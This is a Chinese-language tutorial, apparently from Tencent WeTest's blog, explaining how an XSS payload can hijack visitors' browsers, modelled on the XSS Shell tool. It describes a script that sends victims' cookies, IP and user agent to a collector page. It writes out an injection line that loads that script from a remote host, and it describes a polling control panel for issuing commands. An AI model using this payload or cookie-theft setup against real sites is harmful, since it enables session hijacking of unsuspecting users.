安全揭秘:如何用XSS控制别人的浏览器

如何用XSS来控制别人的浏览器?

WeTest 导读

小伙伴们是否曾有过这样邪恶的想法,能否有办法控制别人的浏览器,然后想干嘛干嘛,想想是不是有点小激动呢!其实这其中的原理并不复杂,接下来撸主就带小伙伴们深度学习下如何用XSS来控制别人的浏览器。


 

Demo展示

       在讲述基本原理前,先一睹为快它的最终效果吧!

 

 

 

XMLHttpRequest对象

       在学习之前,先给大家介绍下Ajax技术的主要依赖对象XMLHttpRequest。它在用XSS控制别人浏览器过程中,起着决定性作用。XMLHttpRequest对象可以在不向服务器提交整个页面的情况下,实现局部更新网页。在当页面全部加载完毕后,客户端可通过该对象向服务器请求数据,服务器端接受客户端数据并进行处理,再向客户端反馈数据。下图展示了Ajax应用模式和传统的Web应用模式的区别。

 

从上图可以看到,Ajax引擎在浏览器客户端端运行,承担了部分原本由服务器完成的工作,通过异步响应方式,实现网页的局部更新。但Ajax应用模式暴露了与服务器交互的细节,会引起一定的安全问题。

了解完Ajax应用模式后,我们来做一个小测试,熟悉下该对象的使用。首先创建xss.js脚本,内容如下:

其中的if模块,用来判断浏览器是否支持ActiveX控件。若支持的话,通过ActiveXObject来创建XMLHttpRequest对象,若不支持则调用XMLHttpRequest来新建。接着调用XMLHttpRequest对象的open()方法来建立对服务器的调用,其中:参数1表示请求是以GET的方式进行,参数2表示请求的地址是http://10.24.73.30/xsshunter-demo1/write.php?id=cookie,第3个参数为true,表示异步通信方式,客户端将不会等待服务器的响应。将这段js通过POST或者GET的方式传给服务器,例如:

 

点击提交数据后,右键浏览器查看源代码,可以看到源代码包含了这段js脚本(注:正常情况下开发同学会做XSS防御的,不会这么轻易就能提交xss.js的)。

 

这样就可以通过js代码中的XMLHttpRequest对象的open()方法来建立对服务器的调用。这里使用的是本地的write.php文件。接下来看看write.php到底做了哪些事。

 

从代码可以看出,write.php通过_SERVER['字段名']记录感染客户端的相关信息到victimInfo.hml文件,并在各个字段添加了"infoend""endallinfo"作为标识符。在点击提交按钮后,在10.24.73.30/xsshunter-demo1/目录下会生成由write.php创建的victimInfo.hml文件。

 

双击可以查看,该文件记录着感染者浏览器的ip,cookie,浏览器支持的语言类型,浏览器的用户代理,访问来源以及访问时间等信息。

       到此为止,我们用一个简单的demo,通过xss.js拿到了感染用户的相关信息,但这些还远远不够之前说的控制别人的浏览器。接下来讨论如何来对感染用户的浏览器进行操作。

 

深度定制xss.js文件

       在之前的xss.js文件结尾,输入alert('xss')和window.location="http://www.qq.com",再到test.php页面输入<script src="http://10.24.73.30/xsshunter-demo1/xss.js"></script>点击提交后,就会触发这2条语句,弹出xss弹框,点击确定后页面重定向到qq的主页。但这种变更xss.js的方法在实际的应用中非常不方便。

       从用户的角度出发,我们是希望有一个可以控制的界面供我们使用和查看感染用户信息。这里就需借助XMLHttpRequest对象的onreadystatechange属性。Ajax请求的状态(readyState),具有5个可选值:0:代表未初始化的请求;1:代表一个打开的请求;2:代表一个已发出的请求;3:代表正在接收的请求;4:代表响应加载完毕。通常我们感兴趣的是响应加载完毕的请求,即readyState=4。每个状态改变时,都会触发这个onreadystatechange事件处理程序,通常会调用一个JavaScript函数来完成用户相关操作。因此需要在xss.js里面添加代码,来完成对感染用户信息通过控制面板进行操作。

创建XMLHttpRequest对象xmlhttp2并异步请求10.24.73.30/xsshunter/program/action.htm,同时对xmlhttp2的状态进行监听,如果响应加载完毕(readyState=4)并且服务器的HTTP状态正常(status=200),就可以根据服务器返回的responseText进行响应的操作。

框架的全部结构

了解完基本原理后,下面展示下整个框架的结构图:

 

至此,整个框架的解析就讲解完了,感兴趣的小伙伴可以下载附件内容进行实践一下哦!

 


提示:

 

1.内网用户在尝试的时候,注意ip相互间要ping得通的,并且避免使用80端口,建议使用8080。

2.本地尝试的时候,第1次需要刷新victim页面,才会响应。

参考来源:

1) https://labs.portcullis.co.uk/tools/xss-shell/

2)《XSS跨站脚本剖析与防御》邱永华著

附件:

http://pan.baidu.com/s/1bp1fsVt

 


 

关于腾讯WeTest (wetest.qq.com)

 

腾讯WeTest是腾讯游戏官方推出的一站式游戏测试平台,用十年腾讯游戏测试经验帮助广大开发者对游戏开发全生命周期进行质量保障。腾讯WeTest提供:适配兼容测试;云端真机调试;安全测试;耗电量测试;服务器性能测试;舆情监控等服务。

点击地址:http://wetest.qq.com/立即体验!

 

最新文章
1客户案例研究:专家安全扫描,守护金融银行小程序安全和私密性 WeTest私有化部署的定制扫描平台让金融银行客户能无成本接入扫描系统并迅速上手使用。客户能方便快捷地根据定制手册进行自助扫描,根据生成的扫描报告,详细洞察漏洞,快速识别并准确定位问题根源。
2客户案例研究:专家渗透测试,洞察电子商务小程序重大交易漏洞 通过WeTest渗透测试服务,某知名零售公司旗下的在线购物类小程序中发现了8处安全风险,我们的安全专家为客户提供了详细的漏洞报告,提供了较为清晰完整的安全加固方案。在回归测试中,中危以上风险均被解决。
3自查小程序4大安全隐患!文末免费赠送小程序安全扫描专业版! 腾讯WeTest现面向小程序开发者开放免费申请使用小程序安全扫描专业版,助您提前发现全面的安全漏洞。扫描文中问卷二维码或点击问卷链接,即可报名参与免费领取活动。
4浅谈渗透测试服务在泛互行业带来的价值 在泛互联网行业中,渗透测试服务对于保障企业的网络安全至关重要。
5云手机卡顿/无特定设备/商店登录受限怎么办?WeTest专有云帮您解决! 公有云满足了大量小微企业、个人的测试需求;随着客户深入使用,也遇到了一系列新问题。本篇将对几个常见问题予以解答
购买
客服
反馈